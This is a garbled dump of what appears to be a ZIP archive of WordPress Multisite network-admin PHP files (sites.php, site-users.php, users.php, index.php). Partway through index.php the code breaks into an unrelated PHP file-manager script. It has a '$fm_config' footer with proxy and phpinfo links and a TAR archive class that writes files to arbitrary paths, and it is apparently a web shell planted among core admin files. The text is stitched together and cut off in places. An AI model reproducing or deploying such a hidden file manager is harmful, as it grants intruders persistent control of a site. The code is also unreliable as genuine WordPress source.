??????????????
PK ! 8 8 sites.phpnu [ get_pagenum();
// Used in the HTML title tag.
$title = __( 'Sites' );
$parent_file = 'sites.php';
add_screen_option( 'per_page' );
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'
' . __( 'Add Site takes you to the screen for adding a new site to the network. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.' ) . '
' .
'
' . __( 'This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.' ) . '
' .
'
' . __( 'Hovering over each site reveals seven options (three for the primary site):' ) . '
' .
'
' . __( 'An Edit link to a separate Edit Site screen.' ) . '
' .
'
' . __( 'Dashboard leads to the Dashboard for that site.' ) . '
' .
'
' . __( 'Flag for Deletion, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.' ) . '
' .
'
' . __( 'Delete Permanently which is a permanent action after the confirmation screen.' ) . '
' .
'
' . __( 'Visit to go to the front-end of the live site.' ) . '
'
);
get_current_screen()->set_screen_reader_content(
array(
'heading_pagination' => __( 'Sites list navigation' ),
'heading_list' => __( 'Sites list' ),
)
);
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( isset( $_GET['action'] ) ) {
/** This action is documented in wp-admin/network/edit.php */
do_action( 'wpmuadminedit' );
// A list of valid actions and their associated messaging for confirmation output.
$manage_actions = array(
/* translators: %s: Site URL. */
'activateblog' => __( 'You are about to remove the deletion flag from the site %s.' ),
/* translators: %s: Site URL. */
'deactivateblog' => __( 'You are about to flag the site %s for deletion.' ),
/* translators: %s: Site URL. */
'unarchiveblog' => __( 'You are about to unarchive the site %s.' ),
/* translators: %s: Site URL. */
'archiveblog' => __( 'You are about to archive the site %s.' ),
/* translators: %s: Site URL. */
'unspamblog' => __( 'You are about to unspam the site %s.' ),
/* translators: %s: Site URL. */
'spamblog' => __( 'You are about to mark the site %s as spam.' ),
/* translators: %s: Site URL. */
'deleteblog' => __( 'You are about to delete the site %s.' ),
/* translators: %s: Site URL. */
'unmatureblog' => __( 'You are about to mark the site %s as mature.' ),
/* translators: %s: Site URL. */
'matureblog' => __( 'You are about to mark the site %s as not mature.' ),
);
if ( 'confirm' === $_GET['action'] ) {
// The action2 parameter contains the action being taken on the site.
$site_action = $_GET['action2'];
if ( ! array_key_exists( $site_action, $manage_actions ) ) {
wp_die( __( 'The requested action is not valid.' ) );
}
// The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility.
if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) {
check_admin_referer( 'confirm' );
} else {
check_admin_referer( $site_action . '_' . $id );
}
if ( ! headers_sent() ) {
nocache_headers();
header( 'Content-Type: text/html; charset=utf-8' );
}
if ( is_main_site( $id ) ) {
wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
}
$site_details = get_site( $id );
$site_address = untrailingslashit( $site_details->domain . $site_details->path );
$submit = __( 'Confirm' );
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
403 ) );
}
$updated_action = 'not_deleted';
if ( 0 !== $id && ! is_main_site( $id ) && current_user_can( 'delete_site', $id ) ) {
wpmu_delete_blog( $id, true );
$updated_action = 'delete';
}
break;
case 'delete_sites':
check_admin_referer( 'ms-delete-sites' );
foreach ( (array) $_POST['site_ids'] as $site_id ) {
$site_id = (int) $site_id;
if ( is_main_site( $site_id ) ) {
continue;
}
if ( ! current_user_can( 'delete_site', $site_id ) ) {
$site = get_site( $site_id );
$site_address = untrailingslashit( $site->domain . $site->path );
wp_die(
sprintf(
/* translators: %s: Site URL. */
__( 'Sorry, you are not allowed to delete the site %s.' ),
$site_address
),
403
);
}
$updated_action = 'all_delete';
wpmu_delete_blog( $site_id, true );
}
break;
case 'allblogs':
if ( isset( $_POST['action'] ) && isset( $_POST['allblogs'] ) ) {
$doaction = $_POST['action'];
foreach ( (array) $_POST['allblogs'] as $site_id ) {
$site_id = (int) $site_id;
if ( 0 !== $site_id && ! is_main_site( $site_id ) ) {
switch ( $doaction ) {
case 'delete':
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
id, $redirect_to, $doaction, $blogs, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
wp_safe_redirect( $redirect_to );
exit;
}
} else {
// Process query defined by WP_MS_Site_List_Table::extra_table_nav().
$location = remove_query_arg(
array( '_wp_http_referer', '_wpnonce' ),
add_query_arg( $_POST, network_admin_url( 'sites.php' ) )
);
wp_redirect( $location );
exit;
}
break;
case 'archiveblog':
case 'unarchiveblog':
update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
break;
case 'activateblog':
update_blog_status( $id, 'deleted', '0' );
/**
* Fires after a network site has its deletion flag removed.
*
* @since MU (3.0.0)
*
* @param int $id The ID of the reactivated site.
*/
do_action( 'activate_blog', $id );
break;
case 'deactivateblog':
/**
* Fires before a network site is flagged for deletion.
*
* @since MU (3.0.0)
*
* @param int $id The ID of the site being flagged for deletion.
*/
do_action( 'deactivate_blog', $id );
update_blog_status( $id, 'deleted', '1' );
break;
case 'unspamblog':
case 'spamblog':
update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
break;
case 'unmatureblog':
case 'matureblog':
update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
break;
}
if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) {
$updated_action = $_GET['action'];
}
if ( ! empty( $updated_action ) ) {
wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
exit;
}
}
$msg = '';
if ( isset( $_GET['updated'] ) ) {
$action = $_GET['updated'];
switch ( $action ) {
case 'all_notspam':
$msg = __( 'Sites removed from spam.' );
break;
case 'all_spam':
$msg = __( 'Sites marked as spam.' );
break;
case 'all_delete':
$msg = __( 'Sites permanently deleted.' );
break;
case 'delete':
$msg = __( 'Site permanently deleted.' );
break;
case 'not_deleted':
$msg = __( 'Sorry, you are not allowed to delete that site.' );
break;
case 'archiveblog':
$msg = __( 'Site archived.' );
break;
case 'unarchiveblog':
$msg = __( 'Site unarchived.' );
break;
case 'activateblog':
$msg = __( 'Site deletion flag removed.' );
break;
case 'deactivateblog':
$msg = __( 'Site flagged for deletion.' );
break;
case 'unspamblog':
$msg = __( 'Site removed from spam.' );
break;
case 'spamblog':
$msg = __( 'Site marked as spam.' );
break;
default:
/**
* Filters a specific, non-default, site-updated message in the Network admin.
*
* The dynamic portion of the hook name, `$action`, refers to the non-default
* site update action.
*
* @since 3.1.0
*
* @param string $msg The update message. Default 'Settings saved'.
*/
$msg = apply_filters( "network_sites_updated_message_{$action}", __( 'Settings saved.' ) );
break;
}
if ( ! empty( $msg ) ) {
$msg = wp_get_admin_notice(
$msg,
array(
'type' => 'success',
'dismissible' => true,
'id' => 'message',
)
);
}
}
$wp_list_table->prepare_items();
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
prepare_items();
get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
get_current_screen()->set_screen_reader_content(
array(
'heading_views' => __( 'Filter site users list' ),
'heading_pagination' => __( 'Site users list navigation' ),
'heading_list' => __( 'Site users list' ),
)
);
$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer = remove_query_arg( 'update', wp_get_referer() );
if ( ! empty( $_REQUEST['paged'] ) ) {
$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$is_main_site = is_main_site( $id );
switch_to_blog( $id );
$action = $wp_list_table->current_action();
if ( $action ) {
switch ( $action ) {
case 'newuser':
check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
$user = $_POST['user'];
if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
$update = 'err_new';
} else {
$password = wp_generate_password( 12, false );
$user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );
if ( false === $user_id ) {
$update = 'err_new_dup';
} else {
$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );
if ( is_wp_error( $result ) ) {
$update = 'err_add_fail';
} else {
$update = 'newuser';
/**
* Fires after a user has been created via the network site-users.php page.
*
* @since 4.4.0
*
* @param int $user_id ID of the newly created user.
*/
do_action( 'network_site_users_created_user', $user_id );
}
}
}
break;
case 'adduser':
check_admin_referer( 'add-user', '_wpnonce_add-user' );
if ( ! empty( $_POST['newuser'] ) ) {
$update = 'adduser';
$newuser = $_POST['newuser'];
$user = get_user_by( 'login', $newuser );
if ( $user && $user->exists() ) {
if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );
if ( is_wp_error( $result ) ) {
$update = 'err_add_fail';
}
} else {
$update = 'err_add_member';
}
} else {
$update = 'err_add_notfound';
}
} else {
$update = 'err_add_notfound';
}
break;
case 'remove':
if ( ! current_user_can( 'remove_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
}
check_admin_referer( 'bulk-users' );
$update = 'remove';
if ( isset( $_REQUEST['users'] ) ) {
$userids = $_REQUEST['users'];
foreach ( $userids as $user_id ) {
$user_id = (int) $user_id;
remove_user_from_blog( $user_id, $id );
}
} elseif ( isset( $_GET['user'] ) ) {
remove_user_from_blog( $_GET['user'] );
} else {
$update = 'err_remove';
}
break;
case 'promote':
check_admin_referer( 'bulk-users' );
if ( ! current_user_can( 'promote_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
}
$editable_roles = get_editable_roles();
$role = $_REQUEST['new_role'];
// Mock `none` as editable role.
$editable_roles['none'] = array(
'name' => __( '— No role for this site —' ),
);
if ( empty( $editable_roles[ $role ] ) ) {
wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
}
if ( 'none' === $role ) {
$role = '';
}
if ( isset( $_REQUEST['users'] ) ) {
$userids = $_REQUEST['users'];
$update = 'promote';
foreach ( $userids as $user_id ) {
$user_id = (int) $user_id;
if ( ! current_user_can( 'promote_user', $user_id ) ) {
wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
}
// If the user doesn't already belong to the blog, bail.
if ( ! is_user_member_of_blog( $user_id ) ) {
wp_die(
'
' . __( 'An error occurred.' ) . '
' .
'
' . __( 'One of the selected users is not a member of this site.' ) . '
',
403
);
}
$user = get_userdata( $user_id );
// If $role is empty, none will be set.
$user->set_role( $role );
}
} else {
$update = 'err_promote';
}
break;
default:
if ( ! isset( $_REQUEST['users'] ) ) {
break;
}
check_admin_referer( 'bulk-users' );
$userids = $_REQUEST['users'];
/** This action is documented in wp-admin/network/site-themes.php */
$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
$update = $action;
break;
}
wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
exit;
}
restore_current_blog();
if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
wp_safe_redirect( $referer );
exit;
}
add_screen_option( 'per_page' );
// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
/**
* Filters whether to show the Add Existing User form on the Multisite Users screen.
*
* @since 3.1.0
*
* @param bool $bool Whether to show the Add Existing User form. Default true.
*/
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
wp_enqueue_script( 'user-suggest' );
}
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
|
$id,
'selected' => 'site-users',
)
);
if ( isset( $_GET['update'] ) ) :
$message = '';
$type = 'error';
switch ( $_GET['update'] ) {
case 'adduser':
$type = 'success';
$message = __( 'User added.' );
break;
case 'err_add_member':
$message = __( 'User is already a member of this site.' );
break;
case 'err_add_fail':
$message = __( 'User could not be added to this site.' );
break;
case 'err_add_notfound':
$message = __( 'Enter the username of an existing user.' );
break;
case 'promote':
$type = 'success';
$message = __( 'Changed roles.' );
break;
case 'err_promote':
$message = __( 'Select a user to change role.' );
break;
case 'remove':
$type = 'success';
$message = __( 'User removed from this site.' );
break;
case 'err_remove':
$message = __( 'Select a user to remove.' );
break;
case 'newuser':
$type = 'success';
$message = __( 'User created.' );
break;
case 'err_new':
$message = __( 'Enter the username and email.' );
break;
case 'err_new_dup':
$message = __( 'Duplicated username or email address.' );
break;
}
wp_admin_notice(
$message,
array(
'type' => $type,
'dismissible' => true,
'id' => 'message',
)
);
endif;
?>
views(); ?>
v v theme-install.phpnu [ 1 ) {
$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays.
// Used in the HTML title tag.
$title = __( 'Users' );
$parent_file = 'users.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
echo '
';
require_once ABSPATH . 'wp-admin/admin-footer.php';
} else {
wp_redirect( network_admin_url( 'users.php' ) );
}
exit;
case 'allusers':
if ( ! current_user_can( 'manage_network_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) {
check_admin_referer( 'bulk-users-network' );
$doaction = $_POST['action'];
$userfunction = '';
$allusers = (array) $_POST['allusers'];
foreach ( $allusers as $user_id ) {
if ( ! empty( $user_id ) ) {
switch ( $doaction ) {
case 'delete':
if ( ! current_user_can( 'delete_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
// Used in the HTML title tag.
$title = __( 'Users' );
$parent_file = 'users.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
echo '
';
confirm_delete_users( $allusers );
echo '
';
require_once ABSPATH . 'wp-admin/admin-footer.php';
exit;
case 'spam':
$user = get_userdata( $user_id );
if ( is_super_admin( $user->ID ) ) {
wp_die(
sprintf(
/* translators: %s: User login. */
__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
esc_html( $user->user_login )
),
403
);
}
$userfunction = 'all_spam';
/**
* Filters whether to propagate the blog status when a user is marked as spam.
*
* @since 7.0.0
*
* @param bool $propagate Whether to propagate the blog status. Default false.
* @param int $user_id User ID.
*/
if ( apply_filters( 'propagate_network_user_spam_to_blogs', false, $user_id ) ) {
foreach ( get_blogs_of_user( $user_id, true ) as $details ) {
// Assuming the main site is not a spam.
if ( ! is_main_site( $details->userblog_id ) ) {
update_blog_status( $details->userblog_id, 'spam', '1' );
}
}
}
$user_data = $user->to_array();
$user_data['spam'] = '1';
wp_update_user( $user_data );
break;
case 'notspam':
$user = get_userdata( $user_id );
if ( is_super_admin( $user->ID ) ) {
wp_die(
sprintf(
/* translators: %s: User login. */
__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
esc_html( $user->user_login )
),
403
);
}
$userfunction = 'all_notspam';
$blogs = get_blogs_of_user( $user_id, true );
/** This filter is documented in wp-admin/network/users.php */
if ( apply_filters( 'propagate_network_user_spam_to_blogs', false, $user_id ) ) {
foreach ( get_blogs_of_user( $user_id, true ) as $details ) {
if ( ! is_main_site( $details->userblog_id ) && get_current_network_id() === $details->site_id ) {
// Assuming main site is never a spam and part of the current network.
update_blog_status( $details->userblog_id, 'spam', '0' );
}
}
}
$user_data = $user->to_array();
$user_data['spam'] = '0';
wp_update_user( $user_data );
break;
}
}
}
if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
$sendback = wp_get_referer();
$user_ids = (array) $_POST['allusers'];
/** This action is documented in wp-admin/network/site-themes.php */
$sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids, 0 ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
wp_safe_redirect( $sendback );
exit;
}
wp_safe_redirect(
add_query_arg(
array(
'updated' => 'true',
'action' => $userfunction,
),
wp_get_referer()
)
);
} else {
$location = network_admin_url( 'users.php' );
if ( ! empty( $_REQUEST['paged'] ) ) {
$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
}
wp_redirect( $location );
}
exit;
case 'dodelete':
check_admin_referer( 'ms-users-delete' );
if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
/*
* Validate that every "reassign" choice has a real target before making
* any changes. The confirmation form blocks this client-side, so this is
* a defense-in-depth guard against an invalid reassignment (e.g. content
* reassigned to the non-existent user "-1") when JavaScript is bypassed.
* Bail out entirely so the deletion is all-or-nothing.
*/
if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) && ! empty( $_POST['delete'] ) ) {
foreach ( $_POST['blog'] as $id => $blogs ) {
foreach ( $blogs as $blogid => $reassign_user_id ) {
if ( isset( $_POST['delete'][ $blogid ][ $id ] )
&& 'reassign' === $_POST['delete'][ $blogid ][ $id ]
&& (int) $reassign_user_id < 1
) {
wp_redirect(
add_query_arg(
array( 'error' => 'missing_reassign' ),
network_admin_url( 'users.php' )
)
);
exit;
}
}
}
}
if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
foreach ( $_POST['blog'] as $id => $users ) {
foreach ( $users as $blogid => $user_id ) {
if ( ! current_user_can( 'delete_user', $id ) ) {
continue;
}
if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) {
remove_user_from_blog( $id, $blogid, (int) $user_id );
} else {
remove_user_from_blog( $id, $blogid );
}
}
}
}
$i = 0;
if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) {
foreach ( $_POST['user'] as $id ) {
if ( ! current_user_can( 'delete_user', $id ) ) {
continue;
}
wpmu_delete_user( $id );
++$i;
}
}
if ( 1 === $i ) {
$deletefunction = 'delete';
} else {
$deletefunction = 'all_delete';
}
wp_redirect(
add_query_arg(
array(
'updated' => 'true',
'action' => $deletefunction,
),
network_admin_url( 'users.php' )
)
);
exit;
}
}
$wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' );
$pagenum = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();
$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
if ( $pagenum > $total_pages && $total_pages > 0 ) {
wp_redirect( add_query_arg( 'paged', $total_pages ) );
exit;
}
// Used in the HTML title tag.
$title = __( 'Users' );
$parent_file = 'users.php';
add_screen_option( 'per_page' );
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'
' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '
' .
'
' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '
' .
'
' . __( 'You can also go to the user’s profile page by clicking on the individual username.' ) . '
' .
'
' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '
' .
'
' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '
' .
'
' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '
PK ! _ _ index.phpnu [ ' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '';
$overview .= '
' . __( 'From here you can:' ) . '
';
$overview .= '
' . __( 'Add and manage sites or users' ) . '
';
$overview .= '
' . __( 'Install and activate themes or plugins' ) . '
Github | .';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | proxy';
if (!empty($fm_config['show_phpinfo'])) echo ' | phpinfo';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | xls';
if (!empty($fm_config['fm_settings'])) echo ' | '.__('Settings').'';
?>
errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': ';
foreach ($Errors as $value)
$message .= $value.' ';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $iarchive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
